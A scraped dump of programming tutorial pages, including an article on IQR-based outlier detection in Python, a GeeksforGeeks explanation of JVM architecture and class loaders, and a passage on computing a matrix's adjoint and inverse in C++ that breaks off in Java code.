"s": 31252, "text": "Node.js" }, { "code": null, "e": 31277, "s": 31260, "text": "Web Technologies" }, { "code": null, "e": 31304, "s": 31277, "text": "Web technologies Questions" }, { "code": null, "e": 31402, "s": 31304, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 31432, "s": 31402, "text": "Node.js fs.writeFile() Method" }, { "code": null, "e": 31461, "s": 31432, "text": "Node.js fs.readFile() Method" }, { "code": null, "e": 31518, "s": 31461, "text": "How to install the previous version of node.js and npm ?" }, { "code": null, "e": 31572, "s": 31518, "text": "Difference between promise and async await in Node.js" }, { "code": null, "e": 31609, "s": 31572, "text": "How to use an ES6 import in Node.js?" }, { "code": null, "e": 31649, "s": 31609, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 31694, "s": 31649, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 31737, "s": 31694, "text": "How to fetch data from an API in ReactJS ?" }, { "code": null, "e": 31787, "s": 31737, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
Outlier identification using Interquartile Range | by Gianluca Malato | Towards Data Science
Identifying outliers is a very common task in data pre-processing. They can alter the perceived importance of a sample by a model and, if not handled properly, can alter the result of any analysis. A simple method for identifying them is using the Interquartile Range. IQR (Interquartile Range) is the difference between the third and the first quartile of a distribution (or the 75th percentile minus the 25th percentile). It is a measure of how wide our distribution is since this range contains half of the points of the dataset. It’s very useful to make an idea of the shape of the distribution. For example, it is the width of the boxes in the boxplot. Once we calculate it, we can use IQR to identify the outliers. We label a point as an outlier if it satisfies one of the following conditions: It’s greater than 75th percentile + 1.5 IQR It’s less than 25th percentile -1.5 IQR Applying this simple formula, we can easily detect the outliers of our distribution. Boxplot uses the same method to plot the outliers as points outside the whiskers. The reasons behind that 1.5 coefficient rely upon the normal distribution, but the general idea is to calculate outliers without using some measure that could be affected by them. That’s why using, for example, the standard deviation, could lead us to poor results. Quartiles and percentiles are based on counts, so they are less vulnerable to the presence of outliers. The idea is that if a point is too far from the 75th percentile (or from the 25th percentile), it’s a “strange” point that can be labeled as an outlier. The order of magnitude of such a distance is the IQR itself. Let’s see a simple example in Python programming language. In this example, we’ll generate some randomly distributed points according to a normal distribution, then we’ll add two outliers artificially in order to see if the algorithm is able to spot them. First, let’s import NumPy and let’s set the seed of the random number generator. import numpy as np np.random.seed(0) Now, let’s create our normally distributed dataset. x = np.random.normal(size=100) Let’s add two outliers, for example, -10 and 5. x = np.append(x,[5,-10]) Since the normal distribution has 0 mean and variance equal to 1, these two numbers are very far from the mean and very rare. We can calculate their frequency explicitly using the cumulative distribution function of a normal distribution, which can be calculated using scipy. from scipy.stats import norm The probability of having a value less than -10 is: norm.cdf(-10) # 7.61985302416047e-24 The probability of having a value greater than 5 is: 1-norm.cdf(5) # 2.866515719235352e-07 So, these values are so rare and far from the mean that they can be considered outliers. Now, let’s calculate the IQR: iqr = np.percentile(x,75) - np.percentile(x,25) Finally, we can create a True/False array mask to identify the outliers according to the original formula: outliers_mask = (x > np.percentile(x,75) + 1.5*iqr) | (x < np.percentile(x,25) - 1.5*iqr) As expected, they are perfectly identified: x[outliers_mask] # array([ 5., -10.]) Dealing with outliers is always a problem for a data scientist. We can detect the presence of outliers using proper Exploratory Data Analysis, but if we want to label them correctly, we must apply a suitable algorithm. Although it works only in a univariate way, outlier detection with IQR is a simple and strong help to any data scientist and analyst. Gianluca Malato is a Data Scientist who teaches machine learning and data science on www.yourdatateacher.com. Originally published at https://www.yourdatateacher.com on November 1, 2021.
[ { "code": null, "e": 441, "s": 172, "text": "Identifying outliers is a very common task in data pre-processing. They can alter the perceived importance of a sample by a model and, if not handled properly, can alter the result of any analysis. A simple method for identifying them is using the Interquartile Range." }, { "code": null, "e": 830, "s": 441, "text": "IQR (Interquartile Range) is the difference between the third and the first quartile of a distribution (or the 75th percentile minus the 25th percentile). It is a measure of how wide our distribution is since this range contains half of the points of the dataset. It’s very useful to make an idea of the shape of the distribution. For example, it is the width of the boxes in the boxplot." }, { "code": null, "e": 973, "s": 830, "text": "Once we calculate it, we can use IQR to identify the outliers. We label a point as an outlier if it satisfies one of the following conditions:" }, { "code": null, "e": 1017, "s": 973, "text": "It’s greater than 75th percentile + 1.5 IQR" }, { "code": null, "e": 1057, "s": 1017, "text": "It’s less than 25th percentile -1.5 IQR" }, { "code": null, "e": 1224, "s": 1057, "text": "Applying this simple formula, we can easily detect the outliers of our distribution. Boxplot uses the same method to plot the outliers as points outside the whiskers." }, { "code": null, "e": 1594, "s": 1224, "text": "The reasons behind that 1.5 coefficient rely upon the normal distribution, but the general idea is to calculate outliers without using some measure that could be affected by them. That’s why using, for example, the standard deviation, could lead us to poor results. Quartiles and percentiles are based on counts, so they are less vulnerable to the presence of outliers." }, { "code": null, "e": 1808, "s": 1594, "text": "The idea is that if a point is too far from the 75th percentile (or from the 25th percentile), it’s a “strange” point that can be labeled as an outlier. The order of magnitude of such a distance is the IQR itself." }, { "code": null, "e": 1867, "s": 1808, "text": "Let’s see a simple example in Python programming language." }, { "code": null, "e": 2064, "s": 1867, "text": "In this example, we’ll generate some randomly distributed points according to a normal distribution, then we’ll add two outliers artificially in order to see if the algorithm is able to spot them." }, { "code": null, "e": 2145, "s": 2064, "text": "First, let’s import NumPy and let’s set the seed of the random number generator." }, { "code": null, "e": 2182, "s": 2145, "text": "import numpy as np np.random.seed(0)" }, { "code": null, "e": 2234, "s": 2182, "text": "Now, let’s create our normally distributed dataset." }, { "code": null, "e": 2265, "s": 2234, "text": "x = np.random.normal(size=100)" }, { "code": null, "e": 2313, "s": 2265, "text": "Let’s add two outliers, for example, -10 and 5." }, { "code": null, "e": 2338, "s": 2313, "text": "x = np.append(x,[5,-10])" }, { "code": null, "e": 2614, "s": 2338, "text": "Since the normal distribution has 0 mean and variance equal to 1, these two numbers are very far from the mean and very rare. We can calculate their frequency explicitly using the cumulative distribution function of a normal distribution, which can be calculated using scipy." }, { "code": null, "e": 2643, "s": 2614, "text": "from scipy.stats import norm" }, { "code": null, "e": 2695, "s": 2643, "text": "The probability of having a value less than -10 is:" }, { "code": null, "e": 2732, "s": 2695, "text": "norm.cdf(-10) # 7.61985302416047e-24" }, { "code": null, "e": 2785, "s": 2732, "text": "The probability of having a value greater than 5 is:" }, { "code": null, "e": 2823, "s": 2785, "text": "1-norm.cdf(5) # 2.866515719235352e-07" }, { "code": null, "e": 2912, "s": 2823, "text": "So, these values are so rare and far from the mean that they can be considered outliers." }, { "code": null, "e": 2942, "s": 2912, "text": "Now, let’s calculate the IQR:" }, { "code": null, "e": 2990, "s": 2942, "text": "iqr = np.percentile(x,75) - np.percentile(x,25)" }, { "code": null, "e": 3097, "s": 2990, "text": "Finally, we can create a True/False array mask to identify the outliers according to the original formula:" }, { "code": null, "e": 3187, "s": 3097, "text": "outliers_mask = (x > np.percentile(x,75) + 1.5*iqr) | (x < np.percentile(x,25) - 1.5*iqr)" }, { "code": null, "e": 3231, "s": 3187, "text": "As expected, they are perfectly identified:" }, { "code": null, "e": 3269, "s": 3231, "text": "x[outliers_mask] # array([ 5., -10.])" }, { "code": null, "e": 3622, "s": 3269, "text": "Dealing with outliers is always a problem for a data scientist. We can detect the presence of outliers using proper Exploratory Data Analysis, but if we want to label them correctly, we must apply a suitable algorithm. Although it works only in a univariate way, outlier detection with IQR is a simple and strong help to any data scientist and analyst." }, { "code": null, "e": 3732, "s": 3622, "text": "Gianluca Malato is a Data Scientist who teaches machine learning and data science on www.yourdatateacher.com." } ]
How JVM Works - JVM Architecture? - GeeksforGeeks
15 May, 2021 JVM(Java Virtual Machine) acts as a run-time engine to run Java applications. JVM is the one that actually calls the main method present in a java code. JVM is a part of JRE(Java Runtime Environment). Java applications are called WORA (Write Once Run Anywhere). This means a programmer can develop Java code on one system and can expect it to run on any other Java-enabled system without any adjustment. This is all possible because of JVM. When we compile a .java file, .class files(contains byte-code) with the same class names present in .java file are generated by the Java compiler. This .class file goes into various steps when we run it. These steps together describe the whole JVM. Class Loader Subsystem It is mainly responsible for three activities. Loading Linking Initialization Loading: The Class loader reads the “.class” file, generate the corresponding binary data and save it in the method area. For each “.class” file, JVM stores the following information in the method area. The fully qualified name of the loaded class and its immediate parent class. Whether the “.class” file is related to Class or Interface or Enum. Modifier, Variables and Method information etc. After loading the “.class” file, JVM creates an object of type Class to represent this file in the heap memory. Please note that this object is of type Class predefined in java.lang package. These Class object can be used by the programmer for getting class level information like the name of the class, parent name, methods and variable information etc. To get this object reference we can use getClass() method of Object class. Java // A Java program to demonstrate working// of a Class type object created by JVM// to represent .class file in memory.import java.lang.reflect.Field;import java.lang.reflect.Method; // Java code to demonstrate use// of Class object created by JVMpublic class Test { public static void main(String[] args) { Student s1 = new Student(); // Getting hold of Class // object created by JVM. Class c1 = s1.getClass(); // Printing type of object using c1. System.out.println(c1.getName()); // getting all methods in an array Method m[] = c1.getDeclaredMethods(); for (Method method : m) System.out.println(method.getName()); // getting all fields in an array Field f[] = c1.getDeclaredFields(); for (Field field : f) System.out.println(field.getName()); }} // A sample class whose information// is fetched above using its Class object.class Student { private String name; private int roll_No; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getRoll_no() { return roll_No; } public void setRoll_no(int roll_no) { this.roll_No = roll_no; }} Student getName setName getRoll_no setRoll_no name roll_No Note: For every loaded “.class” file, only one object of the class is created. Student s2 = new Student(); // c2 will point to same object where // c1 is pointing Class c2 = s2.getClass(); System.out.println(c1==c2); // true Linking: Performs verification, preparation, and (optionally) resolution. Verification: It ensures the correctness of the .class file i.e. it checks whether this file is properly formatted and generated by a valid compiler or not. If verification fails, we get run-time exception java.lang.VerifyError. This activity is done by the component ByteCodeVerifier. Once this activity is completed then the class file is ready for compilation. Preparation: JVM allocates memory for class variables and initializing the memory to default values. Resolution: It is the process of replacing symbolic references from the type with direct references. It is done by searching into the method area to locate the referenced entity. Initialization: In this phase, all static variables are assigned with their values defined in the code and static block(if any). This is executed from top to bottom in a class and from parent to child in the class hierarchy. In general, there are three class loaders : Bootstrap class loader: Every JVM implementation must have a bootstrap class loader, capable of loading trusted classes. It loads core java API classes present in the “JAVA_HOME/jre/lib” directory. This path is popularly known as the bootstrap path. It is implemented in native languages like C, C++. Extension class loader: It is a child of the bootstrap class loader. It loads the classes present in the extensions directories “JAVA_HOME/jre/lib/ext”(Extension path) or any other directory specified by the java.ext.dirs system property. It is implemented in java by the sun.misc.Launcher$ExtClassLoader class. System/Application class loader: It is a child of the extension class loader. It is responsible to load classes from the application classpath. It internally uses Environment Variable which mapped to java.class.path. It is also implemented in Java by the sun.misc.Launcher$AppClassLoader class. Java // Java code to demonstrate Class Loader subsystempublic class Test { public static void main(String[] args) { // String class is loaded by bootstrap loader, and // bootstrap loader is not Java object, hence null System.out.println(String.class.getClassLoader()); // Test class is loaded by Application loader System.out.println(Test.class.getClassLoader()); }} null jdk.internal.loader.ClassLoaders$AppClassLoader@8bcc55f Note: JVM follows the Delegation-Hierarchy principle to load classes. System class loader delegate load request to extension class loader and extension class loader delegate request to the bootstrap class loader. If a class found in the boot-strap path, the class is loaded otherwise request again transfers to the extension class loader and then to the system class loader. At last, if the system class loader fails to load class, then we get run-time exception java.lang.ClassNotFoundException. JVM Memory Method area: In the method area, all class level information like class name, immediate parent class name, methods and variables information etc. are stored, including static variables. There is only one method area per JVM, and it is a shared resource.Heap area: Information of all objects is stored in the heap area. There is also one Heap Area per JVM. It is also a shared resource.Stack area: For every thread, JVM creates one run-time stack which is stored here. Every block of this stack is called activation record/stack frame which stores methods calls. All local variables of that method are stored in their corresponding frame. After a thread terminates, its run-time stack will be destroyed by JVM. It is not a shared resource.PC Registers: Store address of current execution instruction of a thread. Obviously, each thread has separate PC Registers.Native method stacks: For every thread, a separate native stack is created. It stores native method information. Method area: In the method area, all class level information like class name, immediate parent class name, methods and variables information etc. are stored, including static variables. There is only one method area per JVM, and it is a shared resource. Heap area: Information of all objects is stored in the heap area. There is also one Heap Area per JVM. It is also a shared resource. Stack area: For every thread, JVM creates one run-time stack which is stored here. Every block of this stack is called activation record/stack frame which stores methods calls. All local variables of that method are stored in their corresponding frame. After a thread terminates, its run-time stack will be destroyed by JVM. It is not a shared resource. PC Registers: Store address of current execution instruction of a thread. Obviously, each thread has separate PC Registers. Native method stacks: For every thread, a separate native stack is created. It stores native method information. Execution Engine Execution engine executes the “.class” (bytecode). It reads the byte-code line by line, uses data and information present in various memory area and executes instructions. It can be classified into three parts: Interpreter: It interprets the bytecode line by line and then executes. The disadvantage here is that when one method is called multiple times, every time interpretation is required. Just-In-Time Compiler(JIT) : It is used to increase the efficiency of an interpreter. It compiles the entire bytecode and changes it to native code so whenever the interpreter sees repeated method calls, JIT provides direct native code for that part so re-interpretation is not required, thus efficiency is improved. Garbage Collector: It destroys un-referenced objects. For more on Garbage Collector, refer Garbage Collector. Java Native Interface (JNI) : It is an interface that interacts with the Native Method Libraries and provides the native libraries(C, C++) required for the execution. It enables JVM to call C/C++ libraries and to be called by C/C++ libraries which may be specific to hardware. Native Method Libraries : It is a collection of the Native Libraries(C, C++) which are required by the Execution Engine.YouTubeGeeksforGeeks507K subscribersHow Java Works? | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 10:09•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=H7UlMH_SdGc" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div> This article is contributed by Gaurav Miglani. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. Akanksha_Rai sambitdas1996 LiJulius vikramboya java-basics java-JVM Java School Programming Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Split() String method in Java with examples Reverse a string in Java Stream In Java Arrays.sort() in Java with examples How to iterate any Map in Java Python Dictionary Arrays in C/C++ Inheritance in C++ Reverse a string in Java C++ Classes and Objects
[ { "code": null, "e": 30197, "s": 30169, "text": "\n15 May, 2021" }, { "code": null, "e": 30398, "s": 30197, "text": "JVM(Java Virtual Machine) acts as a run-time engine to run Java applications. JVM is the one that actually calls the main method present in a java code. JVM is a part of JRE(Java Runtime Environment)." }, { "code": null, "e": 30638, "s": 30398, "text": "Java applications are called WORA (Write Once Run Anywhere). This means a programmer can develop Java code on one system and can expect it to run on any other Java-enabled system without any adjustment. This is all possible because of JVM." }, { "code": null, "e": 30888, "s": 30638, "text": "When we compile a .java file, .class files(contains byte-code) with the same class names present in .java file are generated by the Java compiler. This .class file goes into various steps when we run it. These steps together describe the whole JVM. " }, { "code": null, "e": 30912, "s": 30888, "text": " Class Loader Subsystem" }, { "code": null, "e": 30960, "s": 30912, "text": "It is mainly responsible for three activities. " }, { "code": null, "e": 30968, "s": 30960, "text": "Loading" }, { "code": null, "e": 30976, "s": 30968, "text": "Linking" }, { "code": null, "e": 30991, "s": 30976, "text": "Initialization" }, { "code": null, "e": 31196, "s": 30991, "text": "Loading: The Class loader reads the “.class” file, generate the corresponding binary data and save it in the method area. For each “.class” file, JVM stores the following information in the method area. " }, { "code": null, "e": 31273, "s": 31196, "text": "The fully qualified name of the loaded class and its immediate parent class." }, { "code": null, "e": 31341, "s": 31273, "text": "Whether the “.class” file is related to Class or Interface or Enum." }, { "code": null, "e": 31389, "s": 31341, "text": "Modifier, Variables and Method information etc." }, { "code": null, "e": 31819, "s": 31389, "text": "After loading the “.class” file, JVM creates an object of type Class to represent this file in the heap memory. Please note that this object is of type Class predefined in java.lang package. These Class object can be used by the programmer for getting class level information like the name of the class, parent name, methods and variable information etc. To get this object reference we can use getClass() method of Object class." }, { "code": null, "e": 31824, "s": 31819, "text": "Java" }, { "code": "// A Java program to demonstrate working// of a Class type object created by JVM// to represent .class file in memory.import java.lang.reflect.Field;import java.lang.reflect.Method; // Java code to demonstrate use// of Class object created by JVMpublic class Test { public static void main(String[] args) { Student s1 = new Student(); // Getting hold of Class // object created by JVM. Class c1 = s1.getClass(); // Printing type of object using c1. System.out.println(c1.getName()); // getting all methods in an array Method m[] = c1.getDeclaredMethods(); for (Method method : m) System.out.println(method.getName()); // getting all fields in an array Field f[] = c1.getDeclaredFields(); for (Field field : f) System.out.println(field.getName()); }} // A sample class whose information// is fetched above using its Class object.class Student { private String name; private int roll_No; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getRoll_no() { return roll_No; } public void setRoll_no(int roll_no) { this.roll_No = roll_no; }}", "e": 33073, "s": 31824, "text": null }, { "code": null, "e": 33133, "s": 33073, "text": "Student\ngetName\nsetName\ngetRoll_no\nsetRoll_no\nname\nroll_No\n" }, { "code": null, "e": 33214, "s": 33133, "text": "Note: For every loaded “.class” file, only one object of the class is created. " }, { "code": null, "e": 33361, "s": 33214, "text": "Student s2 = new Student();\n// c2 will point to same object where \n// c1 is pointing\nClass c2 = s2.getClass();\nSystem.out.println(c1==c2); // true" }, { "code": null, "e": 33437, "s": 33361, "text": "Linking: Performs verification, preparation, and (optionally) resolution. " }, { "code": null, "e": 33801, "s": 33437, "text": "Verification: It ensures the correctness of the .class file i.e. it checks whether this file is properly formatted and generated by a valid compiler or not. If verification fails, we get run-time exception java.lang.VerifyError. This activity is done by the component ByteCodeVerifier. Once this activity is completed then the class file is ready for compilation." }, { "code": null, "e": 33902, "s": 33801, "text": "Preparation: JVM allocates memory for class variables and initializing the memory to default values." }, { "code": null, "e": 34081, "s": 33902, "text": "Resolution: It is the process of replacing symbolic references from the type with direct references. It is done by searching into the method area to locate the referenced entity." }, { "code": null, "e": 34352, "s": 34081, "text": "Initialization: In this phase, all static variables are assigned with their values defined in the code and static block(if any). This is executed from top to bottom in a class and from parent to child in the class hierarchy. In general, there are three class loaders : " }, { "code": null, "e": 34653, "s": 34352, "text": "Bootstrap class loader: Every JVM implementation must have a bootstrap class loader, capable of loading trusted classes. It loads core java API classes present in the “JAVA_HOME/jre/lib” directory. This path is popularly known as the bootstrap path. It is implemented in native languages like C, C++." }, { "code": null, "e": 34965, "s": 34653, "text": "Extension class loader: It is a child of the bootstrap class loader. It loads the classes present in the extensions directories “JAVA_HOME/jre/lib/ext”(Extension path) or any other directory specified by the java.ext.dirs system property. It is implemented in java by the sun.misc.Launcher$ExtClassLoader class." }, { "code": null, "e": 35260, "s": 34965, "text": "System/Application class loader: It is a child of the extension class loader. It is responsible to load classes from the application classpath. It internally uses Environment Variable which mapped to java.class.path. It is also implemented in Java by the sun.misc.Launcher$AppClassLoader class." }, { "code": null, "e": 35265, "s": 35260, "text": "Java" }, { "code": "// Java code to demonstrate Class Loader subsystempublic class Test { public static void main(String[] args) { // String class is loaded by bootstrap loader, and // bootstrap loader is not Java object, hence null System.out.println(String.class.getClassLoader()); // Test class is loaded by Application loader System.out.println(Test.class.getClassLoader()); }}", "e": 35673, "s": 35265, "text": null }, { "code": null, "e": 35735, "s": 35673, "text": "null\njdk.internal.loader.ClassLoaders$AppClassLoader@8bcc55f\n" }, { "code": null, "e": 36233, "s": 35735, "text": "Note: JVM follows the Delegation-Hierarchy principle to load classes. System class loader delegate load request to extension class loader and extension class loader delegate request to the bootstrap class loader. If a class found in the boot-strap path, the class is loaded otherwise request again transfers to the extension class loader and then to the system class loader. At last, if the system class loader fails to load class, then we get run-time exception java.lang.ClassNotFoundException. " }, { "code": null, "e": 36245, "s": 36233, "text": "JVM Memory " }, { "code": null, "e": 37220, "s": 36245, "text": "Method area: In the method area, all class level information like class name, immediate parent class name, methods and variables information etc. are stored, including static variables. There is only one method area per JVM, and it is a shared resource.Heap area: Information of all objects is stored in the heap area. There is also one Heap Area per JVM. It is also a shared resource.Stack area: For every thread, JVM creates one run-time stack which is stored here. Every block of this stack is called activation record/stack frame which stores methods calls. All local variables of that method are stored in their corresponding frame. After a thread terminates, its run-time stack will be destroyed by JVM. It is not a shared resource.PC Registers: Store address of current execution instruction of a thread. Obviously, each thread has separate PC Registers.Native method stacks: For every thread, a separate native stack is created. It stores native method information. " }, { "code": null, "e": 37474, "s": 37220, "text": "Method area: In the method area, all class level information like class name, immediate parent class name, methods and variables information etc. are stored, including static variables. There is only one method area per JVM, and it is a shared resource." }, { "code": null, "e": 37607, "s": 37474, "text": "Heap area: Information of all objects is stored in the heap area. There is also one Heap Area per JVM. It is also a shared resource." }, { "code": null, "e": 37961, "s": 37607, "text": "Stack area: For every thread, JVM creates one run-time stack which is stored here. Every block of this stack is called activation record/stack frame which stores methods calls. All local variables of that method are stored in their corresponding frame. After a thread terminates, its run-time stack will be destroyed by JVM. It is not a shared resource." }, { "code": null, "e": 38085, "s": 37961, "text": "PC Registers: Store address of current execution instruction of a thread. Obviously, each thread has separate PC Registers." }, { "code": null, "e": 38199, "s": 38085, "text": "Native method stacks: For every thread, a separate native stack is created. It stores native method information. " }, { "code": null, "e": 38217, "s": 38199, "text": "Execution Engine " }, { "code": null, "e": 38428, "s": 38217, "text": "Execution engine executes the “.class” (bytecode). It reads the byte-code line by line, uses data and information present in various memory area and executes instructions. It can be classified into three parts:" }, { "code": null, "e": 38611, "s": 38428, "text": "Interpreter: It interprets the bytecode line by line and then executes. The disadvantage here is that when one method is called multiple times, every time interpretation is required." }, { "code": null, "e": 38928, "s": 38611, "text": "Just-In-Time Compiler(JIT) : It is used to increase the efficiency of an interpreter. It compiles the entire bytecode and changes it to native code so whenever the interpreter sees repeated method calls, JIT provides direct native code for that part so re-interpretation is not required, thus efficiency is improved." }, { "code": null, "e": 39038, "s": 38928, "text": "Garbage Collector: It destroys un-referenced objects. For more on Garbage Collector, refer Garbage Collector." }, { "code": null, "e": 39069, "s": 39038, "text": "Java Native Interface (JNI) : " }, { "code": null, "e": 39316, "s": 39069, "text": "It is an interface that interacts with the Native Method Libraries and provides the native libraries(C, C++) required for the execution. It enables JVM to call C/C++ libraries and to be called by C/C++ libraries which may be specific to hardware." }, { "code": null, "e": 39343, "s": 39316, "text": "Native Method Libraries : " }, { "code": null, "e": 40252, "s": 39343, "text": "It is a collection of the Native Libraries(C, C++) which are required by the Execution Engine.YouTubeGeeksforGeeks507K subscribersHow Java Works? | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.You're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmMore videosMore videosSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 10:09•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=H7UlMH_SdGc\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>" }, { "code": null, "e": 40674, "s": 40252, "text": " This article is contributed by Gaurav Miglani. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above." }, { "code": null, "e": 40687, "s": 40674, "text": "Akanksha_Rai" }, { "code": null, "e": 40701, "s": 40687, "text": "sambitdas1996" }, { "code": null, "e": 40710, "s": 40701, "text": "LiJulius" }, { "code": null, "e": 40721, "s": 40710, "text": "vikramboya" }, { "code": null, "e": 40733, "s": 40721, "text": "java-basics" }, { "code": null, "e": 40742, "s": 40733, "text": "java-JVM" }, { "code": null, "e": 40747, "s": 40742, "text": "Java" }, { "code": null, "e": 40766, "s": 40747, "text": "School Programming" }, { "code": null, "e": 40771, "s": 40766, "text": "Java" }, { "code": null, "e": 40869, "s": 40771, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 40913, "s": 40869, "text": "Split() String method in Java with examples" }, { "code": null, "e": 40938, "s": 40913, "text": "Reverse a string in Java" }, { "code": null, "e": 40953, "s": 40938, "text": "Stream In Java" }, { "code": null, "e": 40989, "s": 40953, "text": "Arrays.sort() in Java with examples" }, { "code": null, "e": 41020, "s": 40989, "text": "How to iterate any Map in Java" }, { "code": null, "e": 41038, "s": 41020, "text": "Python Dictionary" }, { "code": null, "e": 41054, "s": 41038, "text": "Arrays in C/C++" }, { "code": null, "e": 41073, "s": 41054, "text": "Inheritance in C++" }, { "code": null, "e": 41098, "s": 41073, "text": "Reverse a string in Java" } ]
Adjoint and Inverse of a Matrix - GeeksforGeeks
11 Jun, 2021 Given a square matrix, find adjoint and inverse of the matrix. We strongly recommend you to refer below as a prerequisite of this. Determinant of a MatrixWhat is Adjoint? Adjoint (or Adjugate) of a matrix is the matrix obtained by taking transpose of the cofactor matrix of a given square matrix is called its Adjoint or Adjugate matrix. The Adjoint of any square matrix ‘A’ (say) is represented as Adj(A). Example: Below example and explanation are taken from here. 5 -2 2 7 1 0 0 3 -3 1 5 0 3 -1 -9 4 For instance, the cofactor of the top left corner '5' is + |0 0 3| ...|1 5 0| = 3(1 * -9 - (-1) * 5) = -12. ...|-1 -9 4| (The minor matrix is formed by deleting the row and column of the given entry.) As another sample, the cofactor of the top row corner '-2' is -|1 0 3| ...|-3 5 0| = - [1 (20 - 0) - 0 + 3 (27 - 15)] = -56. ...|3 -9 4| Proceeding like this, we obtain the matrix [-12 -56 4 4] [76 208 4 4] [-60 -82 -2 20] [-36 -58 -10 12] Finally, to get the adjoint, just take the previous matrix's transpose: [-12 76 -60 -36] [-56 208 -82 -58] [4 4 -2 -10] [4 4 20 12] Important properties: Product of a square matrix A with its adjoint yields a diagonal matrix, where each diagonal entry is equal to determinant of A. i.e., A.adj(A) = det(A).I I => Identity matrix of same order as of A. det(A) => Determinant value of A A non zero square matrix ‘A’ of order n is said to be invertible if there exists a unique square matrix ‘B’ of order n such that, A.B = B.A = I The matrix 'B' is said to be inverse of 'A'. i.e., B = A-1 How to find Adjoint? We follow definition given above. Let A[N][N] be input matrix. 1) Create a matrix adj[N][N] store the adjoint matrix. 2) For every entry A[i][j] in input matrix where 0 <= i < N and 0 <= j < N. a) Find cofactor of A[i][j] b) Find sign of entry. Sign is + if (i+j) is even else sign is odd. c) Place the cofactor at adj[j][i] How to find Inverse? Inverse of a matrix exists only if the matrix is non-singular i.e., determinant should not be 0. Using determinant and adjoint, we can easily find the inverse of a square matrix using below formula, If det(A) != 0 A-1 = adj(A)/det(A) Else "Inverse doesn't exist" Inverse is used to find the solution to a system of linear equation.Below are implementation for finding adjoint and inverse of a matrix. C++ Java C# Javascript // C++ program to find adjoint and inverse of a matrix#include<bits/stdc++.h>using namespace std;#define N 4 // Function to get cofactor of A[p][q] in temp[][]. n is current// dimension of A[][]void getCofactor(int A[N][N], int temp[N][N], int p, int q, int n){ int i = 0, j = 0; // Looping for each element of the matrix for (int row = 0; row < n; row++) { for (int col = 0; col < n; col++) { // Copying into temporary matrix only those element // which are not in given row and column if (row != p && col != q) { temp[i][j++] = A[row][col]; // Row is filled, so increase row index and // reset col index if (j == n - 1) { j = 0; i++; } } } }} /* Recursive function for finding determinant of matrix. n is current dimension of A[][]. */int determinant(int A[N][N], int n){ int D = 0; // Initialize result // Base case : if matrix contains single element if (n == 1) return A[0][0]; int temp[N][N]; // To store cofactors int sign = 1; // To store sign multiplier // Iterate for each element of first row for (int f = 0; f < n; f++) { // Getting Cofactor of A[0][f] getCofactor(A, temp, 0, f, n); D += sign * A[0][f] * determinant(temp, n - 1); // terms are to be added with alternate sign sign = -sign; } return D;} // Function to get adjoint of A[N][N] in adj[N][N].void adjoint(int A[N][N],int adj[N][N]){ if (N == 1) { adj[0][0] = 1; return; } // temp is used to store cofactors of A[][] int sign = 1, temp[N][N]; for (int i=0; i<N; i++) { for (int j=0; j<N; j++) { // Get cofactor of A[i][j] getCofactor(A, temp, i, j, N); // sign of adj[j][i] positive if sum of row // and column indexes is even. sign = ((i+j)%2==0)? 1: -1; // Interchanging rows and columns to get the // transpose of the cofactor matrix adj[j][i] = (sign)*(determinant(temp, N-1)); } }} // Function to calculate and store inverse, returns false if// matrix is singularbool inverse(int A[N][N], float inverse[N][N]){ // Find determinant of A[][] int det = determinant(A, N); if (det == 0) { cout << "Singular matrix, can't find its inverse"; return false; } // Find adjoint int adj[N][N]; adjoint(A, adj); // Find Inverse using formula "inverse(A) = adj(A)/det(A)" for (int i=0; i<N; i++) for (int j=0; j<N; j++) inverse[i][j] = adj[i][j]/float(det); return true;} // Generic function to display the matrix. We use it to display// both adjoin and inverse. adjoin is integer matrix and inverse// is a float.template<class T>void display(T A[N][N]){ for (int i=0; i<N; i++) { for (int j=0; j<N; j++) cout << A[i][j] << " "; cout << endl; }} // Driver programint main(){ int A[N][N] = { {5, -2, 2, 7}, {1, 0, 0, 3}, {-3, 1, 5, 0}, {3, -1, -9, 4}}; int adj[N][N]; // To store adjoint of A[][] float inv[N][N]; // To store inverse of A[][] cout << "Input matrix is :\n"; display(A); cout << "\nThe Adjoint is :\n"; adjoint(A, adj); display(adj); cout << "\nThe Inverse is :\n"; if (inverse(A, inv)) display(inv); return 0;} // Java program to find adjoint and inverse of a matrixclass GFG{ static final int N = 4; // Function to get cofactor of A[p][q] in temp[][]. n is current// dimension of A[][]static void getCofactor(int A[][], int temp[][], int p, int q, int n){ int i = 0, j = 0; // Looping for each element of the matrix for (int row = 0; row < n; row++) { for (int col = 0; 